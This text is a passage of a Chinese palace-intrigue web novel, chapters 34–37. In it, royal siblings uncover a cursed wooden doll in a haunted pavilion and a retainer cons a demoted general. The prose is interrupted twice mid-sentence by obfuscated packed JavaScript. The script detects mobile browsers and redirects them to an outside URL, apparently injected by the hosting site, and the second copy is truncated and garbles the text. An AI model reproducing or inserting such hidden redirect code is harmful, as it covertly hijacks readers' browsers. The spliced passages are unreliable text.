“在你心里,我便是这么一个小肚鸡肠、斤斤计较之人么?” 刘宁听后娇嗔道:“那怎么今日为何不早些过来,非得等到我被那将领难堪这么久才出来,谁知道是不是还在暗中看我笑话啊!” 刘安当即解释道:“李娘娘都求到我面前来了,我这才耽搁了些许时辰。” “啊?为了什么啊?”刘宁心中一紧,担忧问道,难道是这李美人在大姐姐面前搬弄她母妃的是非不是了吗? 刘安叹口气,无奈道:“许是归云阁风水不好吧,八弟自住进去起,便疾病缠身,如今更严重了,高热不退,我先前竟从未关注过。” 刘宁疑惑道:“先前也未曾听李娘娘提起啊!我只以为是八弟像大哥哥那样,身子孱弱呢!” 刘安听后,瞬间了然,元弟是连年按皇后寻来的药方煎药服用,身子这才越来越差;这归云阁也是皇后派人修缮的,八弟也是自从住进去便开始高热不退的…… 可太子已经是太子,八弟又尚且年幼,并不能对太子构成威胁啊! 34. 巫蛊(四)宫内捉“鬼” 刘安的近侍莲亭听到此处,便神秘兮兮道:“这归云阁听说邪门的很,每个宫人夜里从那边路过,便总能听到有婴儿的啼哭声,吓人得很!” 刘宁被吓得抱紧刘安,小声问道:“真的?” “先前西六宫的月湖不是溺毙过宫人吗?” “后来陛下边命人把湖填了,那归云阁就在月湖旁边,不会是溺亡之人来索命吧?” 刘宁问道:“不过那怎么会是婴儿的啼哭声呢?” 莲亭挠挠头,道:“我也不知道,反正大家都这么说。” “大家纷纷猜测可能是先帝的……” 刘安听二人在谈论鬼怪之事,越说越离谱,便伸手分别敲了刘宁与莲亭一下。 “啊!” 刘宁和莲亭她们两个本来就已经精神紧张了,被这么一吓,更是惊得直接叫了出来,紧紧抱住刘安,瑟瑟发抖。 刘安拥紧两人,安慰道:“皇宫大内,天子脚下,龙气最盛,哪里会有什么鬼怪!如此虚妄之事,以后便不要再说了,省得流言蜚语满宫飞。” “大姐姐,我害怕,归云阁和云清宫都在西六宫,我不敢回去,我今夜想和你一起睡!” “殿下,我……我今夜也想守在殿下身旁……” 刘安听后,无奈笑道:“好!” 三人刚到福康宫,便看到宫人们和御医在偏殿进进出出,忙得团团转。 刘安与刘宁顺势去偏殿看她们的八弟刘绥,待看到八弟烧得小脸通红,还在昏睡着,很是心疼,但又无可奈何,终究是不忍心再看下去。 她们二人也不会医术,在这里也帮不上什么忙,刘安便带着刘宁悄悄退出偏殿。 刘宁问道:“大姐姐,你说八弟这样是不是被归云阁的鬼魂吓着了?” 刘安停下脚步,看向刘宁,认真道:“阿宁,我怎么告诉你的?宫里没有什么鬼怪。” 刘宁连连点头应下,但心里多少还是有些发毛。 如果不是鬼怪,那能是什么?难道是装神弄鬼的宫人吗? 管对方是什么! 如果是鬼,她就把鬼打得魂飞魄散,如果是装神弄鬼的人,她定要把这个人狠狠教训一番! 刘宁喊来六皇子刘赞与七皇子刘昶,他们三个今天一定要把归云阁给翻个底儿朝天! 管他是人是鬼,一定要把他揪出来! 刘宁道:“我听大姐姐宫里的莲亭姐姐说了,每逢夜半三更,总能听到归云阁的婴儿啼哭声,现在八弟又高热不退,我怀疑是被那个东西给吓得,我想——” “我去我去!” 刘昶自然是一百个愿意,不等刘宁说完,便同意跟着一起去。 一来他也看到了八弟这个样子,也想着能揪出来这个东西,好让八弟身体快点好。 二来,中秋将至,承道帝想着一家团圆,便让他留在京中,等秋猎结束后再回军中,这几日他在京中闲得都快长毛了,每天都在跟着刘赞四处玩,感觉光阴都虚度了。 如今能有事情做,自然求之不得。 因此不用刘宁多言语,刘昶就跟上了刘宁。 “那我们半夜三更再来呗,干嘛来这么早!” 刘赞本来胆子就有点小,刘宁又说得太渗人,因此即便有刘宁和刘昶这两个胆子大的陪着他,他心里还是很怕,不是很乐意去。 可如果半夜三更出门的话,他就可以装睡,睡得死死的,任谁来叫也不起来,到时刘宁和刘昶见他叫不醒,便会放弃的。。 刘昶白了眼刘赞:“半夜三更,宫里巡防加强,你如何靠近得了归云阁呢?” 刘宁等不急了,催促道:“别废话了,我们快去吧。” 三人急忙换上宫人的服饰,一路朝着归云阁走去,行至半路,被宫里巡查的一队侍卫拦下盘查: “你们是哪个宫的宫人?鬼鬼祟祟的做什么?” 刘宁道急中生智:“我等是福康宫的宫人,奉长公主之命送宁乐公主回宫。” “过去吧。” 三人故作镇定地走了过去,有惊无险地到了归云阁。 “五姐,要不你和七弟进去吧,我留在外面接应你们。” 待推门进去前,刘赞胆怯了,坚持要留在归云阁外面等着刘宁和刘昶。 刘昶不怀好意笑道:“你没听说吗,可能是填了的月湖里面的鬼魂,如果鬼魂来了,那一定是从外面进去的。” “算了算了,我和你们一起进去吧,你们两个要记得保护我啊!”刘赞顿觉毛骨悚然,放弃了留在外面的想法,觉得还是三个人在一块比较安全。 刘昶胆子最大,站在了三人的最前面,打头阵;刘赞胆子最小,被放在了最中间;刘宁虽然也怕,但到底比刘赞胆子要大一点,排在了最后,保护刘赞。 三人东张西望地溜进归云阁。 归云阁内黑乎乎的,借着月光,勉强能看到路。 归云阁内的宫室有些破败不堪,房屋年久失修,风一吹,还会发出嘎吱嘎吱的声音。 怎么八弟住的环境这么差? 不单宫室破败,空气中还弥漫着一股腐朽发霉的味道,刘宁和刘赞都忍不住轻咳几声。 这种环境,他们这些大人都受不了,更何况是八弟那么个八岁的小孩儿呢? 此时还未到三更天,他们还没听到什么婴儿的啼哭声,他们三人便打算进屋内等着。 “五姐,你说真的有鬼吗?” “嘘,别说话。” “五姐,我有点怕……” “五姐……” 刘宁狠狠瞪了眼刘赞,话怎么这么多! 刘昶驻足,仔细辨别着:“你们听,什么声音?” 刘宁认真听了一会,道:“若有若无的,难道是啼哭声?” 刘赞吓得攥紧了刘昶和刘宁的衣袖,不敢再前进一步。 刘赞小声说:“声音变大了!” “是谁在此装神弄鬼!”刘昶站在门外,朝门内厉声喝道。 门内无人应答。 “呜——嗷——” 刘昶护住刘宁和刘赞,一脚踹开了房门。 “喵呜——” 门内突然窜出来一个活物,一溜烟地跑没了。 “什么东西?” “听着像是猫吧?” 刘昶借着月光朝屋内看去,屋内没有什么危险,便大着胆子上前一步,刘宁和刘赞二人便紧紧跟在他身后。 待进了屋,他们三人才听清屋内的声音。 “喵————喵——” 是几声虚弱的猫叫。 三人皆松了口气,原来是只小猫啊。 三人顺着声音找了过去,最后将声音锁定在床榻周围。 刘昶接过刘赞递来的火折子,在床榻附近搜索一番,发现了一只虚弱的幼猫被卡在了床板周围。 知道归云阁的婴儿啼哭声是猫叫之后,刘赞已经没了刚才的胆怯,弯腰将幼猫救了出来。 但是,床板后边好像有什么东西。 刘赞又吹起一个火折子,凑近仔细看,却不想被里面的东西吓了一跳,手中的火折子都掉在地上了。 “怎么了?” 刘赞惊魂未定,说不出话来,直指着火折子掉落的地方。 刘昶和刘宁顺着看过去,但又有些不确定,对视一眼后,二人拆开了床板,也呆愣在原地。 床板下放着一只木偶。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274231|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>刘昶大着胆子将木偶拿出来,刘赞和刘宁也看着他手中的木偶怔怔地不说话。 巫蛊厌胜? 是谁在皇宫内用巫蛊之术? 这木偶又是用来诅咒谁的? 三人均没了主意。 刘赞道:“把这个脏东西交给大姐姐处置吧。” 刘昶和刘宁木讷地点点头,随后三人将归云阁宫室的门关好,又偷摸回去了。 回去之后,三人虽然犯困,但一想到归云阁中发现的木偶,便困意全无,最后是熬到了天空泛起鱼肚白,三人实在撑不住了,这才睡下。 不多时,宁乐公主刘宁、六皇子刘赞、七皇子刘昶又聚在了一起,讨论昨天在归云阁找到的木偶。 昨夜八皇子刘绥反复高热,如今才刚退下,福康宫总算能平静会儿了。 刘安见三人聚在一起说着悄悄话,走近后,笑着打趣道:“我说怎么一大早不见你们三个,原来躲在这里说悄悄话呢!” 刘安命人拿出热腾腾的吃食,摆在三人面前,随后笑道:“饿了一早上吧,快吃吧。” “还是大姐姐好!” “真好吃!” “大姐姐宫里的小厨房就是好吃!” 刘安笑道:“好吃就多吃些,方才八弟醒了,也像你们这么吃得这么香呢!” 刘赞问道:“大姐姐,八弟什么时候退烧的?” 刘安低头想了想时辰,回道:“大概三更天还是四更天吧。” 刘赞、刘宁、刘昶三人听后对视一眼,是他们昨夜发现巫蛊木偶的时候。 刘宁吃得太快,一时间被噎住了,咳嗽不已。 “慢些吃,没人和你们抢!”刘安苦笑不得地为刘宁递上茶水,轻拍着刘宁的后背。 刘安好奇问道:“你们三个早上不起,现在又聚在一起嘀嘀咕咕地说什么呢?” “没……没说什么。” 刘赞道:“大姐姐,我们在说……在说五姐的公主府要建在哪里?” 刘安问道:“哦?那阿宁想建在哪里?” 刘宁摇头道:“我原本想着去南郊,那里人不过,风光秀丽,很是清净呢,可是……” 刘宁想起昨夜人烟稀少的归云阁,心里有些发怵,犹豫道:“我想想还是算了吧,我还是喜欢热闹一点的。” 刘赞道:“五姐,我知道一个好地方,那里离皇宫也近,离大姐姐的公主府也近,离四哥的府邸也近,你的公主府建在那里刚好。” “而且旁边还有两片府邸,等我和七弟封了爵,我俩便把那两处府邸买下来,到时我带着你们去喝酒耍去!” 刘宁问道:“是朱雀大街上的那片空地吗?” “是啊!”刘赞兴冲冲地为刘宁介绍。 刘宁故作为难道:“只是,只是那片地价昂贵,我只怕买不起地呢!” “不会不会!我早就派人——”刘赞早就派人买下了那片地,就等着他们几个及笄及冠后建府选址呢,只是财不外露,刘赞连忙打住。 刘宁笑道:“那便有劳六弟多费心费钱了。” “我——” 刘赞看了眼刘宁威胁的拳头,无奈,只得答应为她建府出钱出力。 刘宁见刘赞同意,欢呼雀跃,生怕刘赞下一刻会反悔,忙拉着刘昶一同去找工匠。 她要今天就开工建府! 待周围安静下来,刘赞屏退下人,这才低声告与刘安木偶一事。 刘安听后脸色一变,问道:“那东西在哪儿?” 刘赞道:“我放一个小匣子里了,这就拿给大姐姐。” 刘安道:“此事暂且不要让第五个人知晓,我先暗中调查着。” “好!” 35. 巫蛊(五)嫉妒作祟 “朱雀街上这片地方动工了?” 二皇子刘仲刚下早朝,见京中最繁华的朱雀街上的一处府宅开始动工,不免有些好奇。 近来倒也没有听说有哪位大人进京任职啊。 刘仲驻足观望片刻,便听到旁边围观的百姓七嘴八舌的议论着: “这是哪位大人要在此建府邸吗?” “不是哪位大人,是陛下最宠爱的五皇女,听说刚封了宁乐公主,要建公主府呢!” “啧啧,不愧是陛下最宠爱的公主!” 刘仲得知是五皇女刘宁的公主府后,脸不由得黑上几分。 英王刘元、永安公主刘安,都是父皇刚一登基便封了爵位,如今大姐姐刘安的品阶更是升了一阶;太子刘牧,从一出生便被立为储君;秦王刘茂,也是及冠后封爵,就连五皇女刘宁,如今也封了爵位,而他呢? 他这个二皇子刘仲呢? 只有一个二皇子的虚衔。 “殿下……” 钱衡量见二皇子刘仲黑着脸回了府,试探问道:“这是怎么了?可是朝堂有变?” 刘仲冷哼一声,道:“哼,如今大姐姐真是得意,手下的人在护城军中任要职,父皇又晋了她为长公主。” 刘仲强压下心中的不忿,便提笔练字来平复心情,但到底心中情绪不稳,横竖撇那都不成章法。 刘仲气得直接将手中的笔甩了出去:“如今连小五都有了品阶,可我呢?” 钱衡量见状忙上前安慰道:“殿下!” “而我,我……我什么都没有!”刘仲抒发着心中的不满,重重地一掌拍在书案上。 难道只因为他的母亲……难道只因为她曾是启盛帝贵妃身旁的婢女,他便不能被封爵吗? 他便不能有品阶吗? 刘仲痛苦地蹲在地上,为什么?到底为什么? 既然父皇这么嫌弃他的母亲的出身,嫌弃他母亲出身微贱,那为什么又要酒后乱性? 为什么还要让他降生让他活下来? 为什么当初不在他生下来后直接掐死! 为什么,到底为什么要让他出生在皇家! “殿下。” 钱衡量跟着蹲下,轻轻拍着刘仲的后背安抚他的情绪,眼中满是心疼。 钱衡量神色坚定地说道:“事情已然发生,与其去沉溺在过去的痛苦中,与其去感叹命运的不公,不如好好地把握住现在,走好当下的每一步。” “我何尝不知道要把握当下……可……” “可如今的局势,如今我的权势地位,都是父皇一句话的事。” “他用得上我的时候,便把我捧得高高的,让我成了他手中的一把剑。他用不上我了,便亲手把我拽下来,让我被人踩在脚下让我痛苦……” “朝中又有哪个是真心愿意追随我的?” 刘仲无奈地苦笑一声:“不过都是些墙头草罢了。太子得势,他们便追随太子;秦王得势,他们便追随秦王;我得父皇些青睐,他们便来讨好我,哈哈哈哈哈!” 刘仲失望道:“衡量,我不是不想争,只是……只是现如今我手中无权无兵无人,我又拿什么去争?” “殿下,我们已经布局这么久,眼看这皇位就唾手可得了,殿下如今是要放弃吗?” 钱衡量看着刘仲丧失意志,恨铁不成钢道:“难道殿下真就被陛下那五十大棍给打得意志消散了吗!” 刘仲嗤笑一声:“就算来日我登上皇位,不说臣民是否信服,就那些皇室宗亲,又怎会信服于我?我又怎么能坐得稳皇位呢?” 钱衡量安慰道:“殿下不必担心。” “恰恰是殿下如今无权无势,旁人都觉得殿下没有登基的指望,殿下才不会引人忌惮。” “殿下只需暗中推波助澜,营造出一个不争不抢、礼贤下士的形象,任凭太子、秦王、诚王他们争去吧,待他们斗得元气大伤,到那时,我们再……”钱衡量握紧拳头,坚定地看向刘仲。 “殿下,我们先起来说。” 刘仲任由钱衡量将他扶起来,细细思考着钱衡量的话。 是啊,他们布局谋划这么久,不能轻易放弃。 若此时放弃,自己就什么都没有了! 太子真是成也晋国公,败也晋国公,有晋国公这个破绽在,扳倒太子只是时间问题。 秦王与太子,与晋国公,与皇后之间,有着不可调和的矛盾,做了十二年的质子,定是对太子党羽恨得牙痒。 任凭太子刘牧和秦王刘茂斗去吧,斗个两败俱伤,他好坐收这渔翁之利。 “只是……这诚王……” 诚王是父皇的胞弟,一直野心勃勃,屯兵栾南,不单栾南的赋税不上缴国库,还总是向朝廷要钱要兵要粮的。自己向来不得父皇宠爱,若自己日后登基,只恐怕名不正言不顺,到那时诚王岂会心悦诚服地臣服于自己? 刘仲拿不准诚王,有些犹豫。 钱衡量见刘仲犹豫不决,便突然跪下请命,恳切道:“殿下,我愿去栾南,我愿去说服诚王!” “这……将来无论是哪个皇子登基,诚王始终是诚王,他又何必来冒险帮我呢?” “衡量,不妥……此事再议吧” 刘仲摇头拒绝了钱衡量的提议。 “自我跟了殿下,便知殿下所走的路是一条无比艰难且九死一生的路,但是殿下——” “我不怕难,我不怕死!” 钱衡量原本是颖州一个老实本分的读书人,再考两年或许还能中个进士,可只因他族里的亲戚钱易知得罪了人,致使全族流放,他也受到了牵连,科举之路被断,此生科举无望。 钱衡量在最困难、最无助的时候,遇到了同样处在困难无助境遇的刘仲,两人相谈甚欢,惺惺相惜,更是结为至交好友。 因此,即便是赴汤蹈火,钱衡量也愿意为了刘仲去闯。 刘仲垂头思索片刻,这才应允道:“好。” 钱衡量自信笑道:“殿下,那就等着我的好消息吧。” “我定能将殿下推向那九五至尊之位!” 钱衡量当即简单收拾了行李,此次前去,一定要把诚王拉到二皇子这边。 刘仲按住钱衡量收拾行李的手,道:“衡量,栾南多战,望请万分小心。此去多日,不知何时才能再见。我今日为你设宴饯行,明日再出发吧。” 钱衡量笑道:“都依殿下的。” 东宫内,太子刘牧正为着栾南的事情发愁,刚下早朝又得知了蔡闻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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情绪到激动处,刘牧愤然起身,冲着门口喊道: “快去,准备好两副棺材,本宫和你一起手拉手躺进去!现在还能留个全尸!” “殿下说的这是什么话?臣惶恐。”蔡桐跪着转向刘牧的方向,头压得更低了,依旧不敢抬头看刘牧。 刘牧发泄完情绪,回头转身,一步步走近蔡桐,看着跪在地上的蔡桐,也知他虽看着恭顺,但心里还是不服,当即蹲下,凑到蔡桐耳边轻声说道: “父皇还看在颖州蔡氏的面子上,对你只是削爵降级,没让你像那两个惨死郊外,已是对你很仁慈。” 蔡桐讪笑道:“殿下真会开玩笑,陛下不是下令将他们二人逐出了京吗?如今又怎么会惨死郊外呢?” 刘牧冷哼一声,盯着蔡桐继续说道:“父皇最是疼爱大姐姐,母后昨儿晚上因此时被训斥禁足;今日早朝,凡是上书要求处罚大姐姐昨晚闯宫的大臣,轻则斥责训诫重则杖责罢官。又怎么会让欺负过大姐姐的人,安然无恙地走出京师呢?” 太子虽说得语气很轻,但言语中有盖不住的凌厉,蔡桐听后,惊恐地抬头望向太子刘牧。 刘牧对上蔡桐的目光,意味深长地拍了拍蔡桐的肩,道:“父皇脾气好,所以对你们才这般仁慈。” “我脾气差你是知道的,若你以后还像现在这般行事,你,就不止削爵降级这么简单了。” 36. 巫蛊(六)信者上钩 太子刘牧敲打了蔡桐一番后,起身走至桌前,开始说正事: “对了,还有一件事。诚王上书说,栾南战事吃紧,是又要钱又要粮又要兵的。” “我原不想拨给他,可……现在朝中局势不太明朗,自从老二被父皇放出来后,那些文臣大多去支持老二了,老二带着他们联名上书,要派兵增援栾南……” 蔡桐当即打断太子的话,怒道:“派兵?哼,他们嘴皮子一碰,随随便便就要派兵,可现下又从哪里去调这么多军队呢?” 刘牧忧心道:“正是呢,如今还未到秋收时节,今年的粮食还没收上来,北边的漳州、西北的永州已有半个月没下一滴雨了,今年收成还不知道要减多少呢,哪里有余粮去增援栾南呢?” “说得正是啊!那些个文臣,他们说得倒是简单!一个个站着说话不腰疼!” 刘牧叹了口气,继续说道:“今儿早朝,父皇准了他们的上书。老二举荐了开国公的孙子李重满带兵,管钱的户部程显同他手下的两个侍郎,更是和老二好得穿一条裤子,眼下增援栾南的差事也就只剩下押送粮草一职了,断不能再让与老二有关的人拿去。” 蔡桐听到李重满的名字,当即嘲讽道:“李重满?那个脂粉堆儿里的英雄?” “让他去带兵?” “笑话!朝廷是没人了吗?让这样的人去?还不如让我去呢!” “若你安生些,这带兵打仗的事,我可放心交于你,可现在……”刘牧说罢,重重地叹了一口气。 蔡桐实在是不争气,闹得事儿是一出又一出。可到底是同他一起长大,二人身上还都流有颖州蔡氏的血,自然要比其他人更亲近,因此刘牧还是很属意于蔡桐带兵的。 只是父皇前脚才对蔡桐削爵降级,自己身为太子后脚便举荐蔡桐,这不是和父皇对着干吗?实在不妥。 如今京中的状况一茬接一茬,这些状况又或多或少得与太子有些关联,致使太子近来声望受损,已是大不如从前了,需得更加小心谨慎才是。 “增援栾南的人选,带兵、管钱的人选是别想了,大抵都是老二的人,唯剩下个押送粮草的差事,我思来想去,还是你最合适。” 蔡桐见刘牧下定决心,虽心中不忿,但也不好反驳,只得应下。 “殿下,户部尚书程显程大人求见!” 刘牧与蔡桐对视一眼,尽显疑惑。 程显与二皇子刘仲交好,他来东宫干什么? 刘牧对着蔡桐一挥手,道:“你先下去吧。” “是。” 蔡桐刚一出门,便遇到程显,蔡桐本不想给程显好脸色,可他到底是太子的人,还是要顾忌太子的面子,免得被人乱嚼舌根,说太子御下无方,旗下诸人皆是些无礼且嚣张跋扈之人。 蔡桐脸上挂上笑容,拱手作揖拜道:“程大人好。” 岂料程显看都不看蔡桐一眼,从鼻子里发出哼的一声,便目不斜视地从蔡桐身边走过。 真是,浪费他的笑脸!蔡桐气得直甩袖子 昨夜永安公主闯宫,导致皇后被禁足,蔡桐也被削去了世子之位,还挨了他父亲晋国公一顿打,又被太子一通骂,如今就连这程显也…… 他程显出身寒门,算个什么东西!也敢无视他蔡桐? 蔡桐越想越气,越想越郁闷,因此离了东宫后,便直奔醉云轩,一个人闷头喝酒。 恰巧此时,二皇子刘仲和他的门客钱衡量路过此处,无意瞥见蔡桐独自一人在包厢内喝闷酒。 刘仲驻足观望片刻,眼珠一转,计上心头,旋即意味深长地侧头看过一眼钱衡量,留钱衡量待在此处,自己先离开了。 钱衡量会意,摇着手中的折扇,大摇大摆地进了蔡桐的包厢,坐在了蔡桐身旁的位置上。 蔡桐余光扫到有人坐在他旁边,醉醺醺地伸手驱赶道:“谁让你进来的?去去去,滚一边去!” “蔡世子。”钱衡量笑着起身,弯腰拱手拱手向蔡桐行礼。 “什么世子!我如今已被削爵,不要再称呼我世子了。” 蔡桐听后无奈苦笑一声,继续烦闷地饮着杯中酒,依旧未曾抬眼看向钱衡量。 “那称呼一声将军,总可以吧。”钱衡量见蔡桐不再驱赶他,便厚着脸皮,笑着重新坐在蔡桐身边。 钱衡量先是动作夸张地上下打量一番蔡桐,而后故作玄虚道:“我看蔡将军愁容满面,想必是遇到了烦心事吧。鄙人不才,略有些看相识面的本事,想为蔡将军相上一面,好为将军排忧解难。” 蔡桐歪过头,眼睛微眯,斜着眼上下打量着钱衡量,不屑地摇头笑着,继续斟酒。眼前不过是一个穷书生,若真有这样的本事,怎会看着这般落魄? 这人看着不像是看相识面的先生,倒像是个坑蒙拐骗的神棍! 钱衡量也不恼,面上带笑,伸手问蔡桐要两枚铜钱:“将军,给我两枚铜钱,我为将军卜上一卦。” 蔡桐用一副洞悉一切的表情看着钱衡量,随手甩给钱衡量两枚铜钱,他从不信这个,只是今天他想看看这个神棍能耍出什么花样来。 钱衡量虔诚地接过两枚铜钱,擦干净铜钱上的污迹,放在手心,双手紧扣,摇晃数次后抛向空中。 蔡桐撑着脑袋,时刻注视着这两枚铜钱的去向。 两枚铜钱在空中翻滚一圈后,落在桌子上,在桌子上弹跳几次后,最后滚落到了地上,停在了钱衡量的脚边。 蔡桐见状哈哈大笑道:“哈哈哈哈哈哈,什么看相识面的本事,连卦都卜不明白,就这点三脚猫的功夫,还想给我看相?哈哈哈哈哈哈——” 钱衡量一脚踩住两枚铜钱,波澜不惊地笑道:“卦象已出,无需多看。况且卜卦这事,向来是信则有,不信则无,我只对将军说一句,将军如果觉得我说得对,赏我杯酒喝,若觉得我说的不对,再把我赶出去也不迟。” 蔡桐此时来了兴致,示意钱衡量继续说下去。 钱衡量当即神神秘秘地凑近蔡桐,轻声说道:“将军目前的困扰不是困扰,是将军的福。” “此话何意?” 这神棍说得云雾缭绕又模模糊糊的,蔡桐听得一知半解,正准备将钱衡量赶出去,但转念一想又觉得有些道理,因而发问道。 钱衡量为蔡桐解释道:“卦象上显示有一飞冲天之势。” “虽暂时困顿,但在困境之中存在着转机,只是虽有转机,但需要付出一定的心血,过后必将一飞冲天。” 蔡桐一听顿觉很有道理,连连点头默认。 如今确实是有些困顿,他被削爵降级,还被安排了个运送粮草的苦差事,他的倚仗皇后娘娘如今也被禁足,太子如今被二皇子刘仲接连挤兑,过得也不舒坦。 不过等日后太子登基,他就是一人之下万人之上的权臣,确实 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蔡桐招呼来仆人,吩咐他们不要让任何人靠近,并命他们关上包厢的门。 待包厢内仅剩下他与钱衡量二人后,蔡桐真诚地问道:“先生说得不错,眼下我被削爵,正是困顿之际,不知先生说的转机是什么意思?可否细说?” 钱衡量知道蔡桐信了他的鬼话,闭上眼睛装模作样地掐着手指,待睁开眼后,便开始煞有介事地忽悠道:“近来将军要承担一桩要务,不知可有此事?” “确有此事,太子殿下吩咐我去押送粮草。”蔡桐喝得有些醉意,嘴比脑子快,就这么口无遮拦地说了出来,说出来后才意识到不对,忙捂嘴看向钱衡量。 钱衡量会意,笑着说:“将军不必担心,我们这一行有我们这一行的规矩,不会透露客人的一言一行,将军尽管放心地说。” 蔡桐这才放心大胆地和钱衡量吐气苦水:“我堂堂一个大将军,却领不了兵打不了仗,现在还要去运送粮草,还要被一个不懂行兵作战的花花公子统辖,你说,这事儿搁谁身上不气啊!” “再说了,这些事随便交给一个四品的文官就行了,何必让我去呢?” “眼下京中局势变动,我留在太子身边才是最稳妥的。” 钱衡量笑着喝尽了杯中的酒,安慰道:“如今栾南与大胡西南部的战争还在继续,将军可别以为运输粮草是小事,这其中是有门道的。” 蔡桐赶紧又给钱衡量满上,示意他继续说下去。 “自古打仗是兵马未动,粮草先行,便足以可见粮草军需的重要性。即便是先打起来。那也需要将军需粮草在后面补给支援。” “不论大将是谁,即便他有十万雄兵,没有粮草,那也——”钱衡量话说一半,双手一摊,笑着摇头。 蔡桐顿时心领神会,哈哈大笑,又给钱衡量倒上一杯酒,点头道:“先生说的很对。” 钱衡量继续恭维忽悠道:“等将军从西南回来,就凭将军的聪明才智,依旧是陛下的股肱之臣,何愁没有被重用的一日?” “哈哈哈哈哈哈,说的是。”蔡桐和钱衡量一通交流下来,心情舒畅了不少。 钱衡量见蔡桐被自己恭维忽悠地团团转,满意地笑着点头。 局已布下了,后面就看二皇子的了。 37. 巫蛊(七)再起纷争 朝廷支援栾南的军队整装待发。 谁料只一个晚上,敌军反扑,栾南的形势严峻。 带军之人朝臣们争论不休,承道帝忽而想起刘安推荐的金中堂,想及金中堂的忠勇,当即便定下来,任命了金中堂——护城军的副将为此次带军之人。 当天夜里,朝廷支援栾南的军队便出发了。 如今战事十万火急,容不得朝臣们争辩。 太子党均没料到带军之人竟然会是金中堂,确实是失算了。不过没用二皇子那边的人,况且金中堂又在护城军中任职,太子党勉强也能接受。 钱衡量察觉局势不对,天不亮便辞别二皇子刘仲,踏上了前去栾南说服诚王的路。 许是钱衡量鬼鬼祟祟,踪迹可疑,出发还没几天,就被金中堂抓住。 军需官蔡桐得到金中堂抓住可疑人员的消息后,特意赶过来。 他倒也不为别的,就为了给金中堂添点堵。 他就是看金中堂不爽,看金中堂背后的永安长公主不爽! 如果那日不是金中堂护送着永安公主回宫,永安和蔡闻早就生米煮成熟饭了。 皇后也不会被牵连禁足,自己也不会被削爵降级,更不会错失领兵的机会。 蔡桐越想越气,气冲冲带着人过来找茬。 “怎么了?乱哄哄的?” “还有没有规矩了!” 蔡桐拨开人群,大步流星走到金中堂面前,对着围观的士兵骂道: “你们的规矩都是谁教的?你们眼里还有没有军规?” 金中堂没理会蔡桐的指桑骂槐,回道:“此人行踪可疑,一直鬼鬼祟祟跟着队伍,我怕是细作……” “如今才把人抓了来,正在盘问他呢。” “哦?”蔡桐听后,上下细细打量一番钱衡量,见钱衡量一直躲着他的目光,便用剑挑起钱衡量的下巴。 待钱衡量抬起头后,蔡桐一眼就认出了钱衡量,这人正是上次为他看相算命之人! 蔡桐心中顿时便有了主意,冷脸质问道:“金中堂,此人是我营中之人,是我的座上宾,你如今捆了他,是何意?” “可是对我有什么不满吗?” 蔡桐倒不是与这钱衡量有多深的交情,就是单纯想恶心金中堂。 既然金中堂绑了这人,那他蔡桐就偏要把人给放了。 对咯,就是要和金中堂作对,就是要看金中堂吃瘪,就是要看着金中堂气急败坏。 金中堂听后,心中燃起一股无名火,怒目圆睁,瞪着蔡桐。 若不是身边的人拦着,只怕金中堂手中的佩剑早朝着蔡桐刺过去了。 金中堂身边的人忙笑着赔不是,道:“真是大水冲了龙王庙,一家人不认得一家人了。” “真是误会误会,小的这就把人给放了。”说罢便蹲下为钱衡量松绑。 蔡桐一把推开这人,指着金中堂,挑衅道:“你,过来松绑。” 金中堂身边人低声劝道,硬推着金中堂去给钱衡量松绑:“这是晋国公的儿子,太子是他表兄,当今皇后是他姑姑!” “即便如今被削了爵位,咱们也是惹不起的,你别犯轴。” 金中堂依旧不为所动,梗着脖子,站在原地,目光凛冽能杀死人。 “即便你背后有长公主做靠山,可他背后是太子,长公主与太子相比,孰轻孰重?你可别分不清,可别到时候害了自己。” 另一个人也推着金中堂,同样劝道:“是啊,更何况我们都是在太子手下做事的,没必要得罪太子的亲信,你如今受点委屈,快去吧。” 蔡桐一挑眉,得意地看向金中堂。 金中堂强压住心中的怒气,不情愿地弯下腰,为钱衡量松绑。 蔡桐见状冷哼一声,带着钱衡量便离开了这里。待回到营帐后,蔡桐问道:“你怎么在这儿?” 钱衡量惊魂未定,讪笑道:“我……我我听说栾南那边有发财的机会,便想着去栾南谋生。” “这不又怕路上会遇到山贼,这才悄摸地跟着队伍一起去栾南,不想……却被抓了。” “今日若不是蔡将军,只怕我的命就没了。” 钱衡量说着说着就扑通一声跪谢蔡桐。 蔡桐听后哼笑一声:“你不是会看相算命吗,怎么算不到自己今日会被抓呢?” 虽然他有些愚笨,但也没到随意相信一个人的地步。 蔡桐走至钱衡量近前,盯着钱衡量的包袱,当即抽出佩剑,解开钱衡量的包袱。 包袱啪地落在地上,里面的衣物、书籍散落一地。 蔡桐用剑随意翻着,见并未有什么可疑的物件,这才换了笑脸,客气笑道:“多有得罪,让先生受惊了,我这也是不得已而为之。” 钱衡量见蔡桐翻过包裹并未发现什么,这才松了一口气。 幸亏他在被抓前就察觉到异样,把二皇子给的书信全吃了,要不然被抓住就连累二皇子了。 钱衡量擦着额头上的虚汗,讪笑道:“理解理解。” “先生,你不妨跟着我一起去栾南,到栾南后,你去做你的生意,我去忙我的事,你看可好?” 蔡桐向钱衡量发出邀请。 一来,自己说钱衡量是自己的座上宾,这才从金中堂手里把人抢过来,自然得多留钱衡量些时日,否则岂不要露馅? 二来,也得对钱衡量多加观察,万一钱衡量真是细作,那自己岂不闯祸? “那就多谢蔡将军。” 钱衡量早就把会漏出马脚的信件处理了,自然不怕,更何况跟着队伍比自己一个人赶路要快多了,钱衡量自然不会拒绝。 “哈哈哈,你留下正好,如今正缺个陪我一起喝酒的人。” 蔡桐高兴地道,当即喊来下人备菜,“来人,备上好的酒菜,我今日要与这位钱先生好好得喝一壶。” 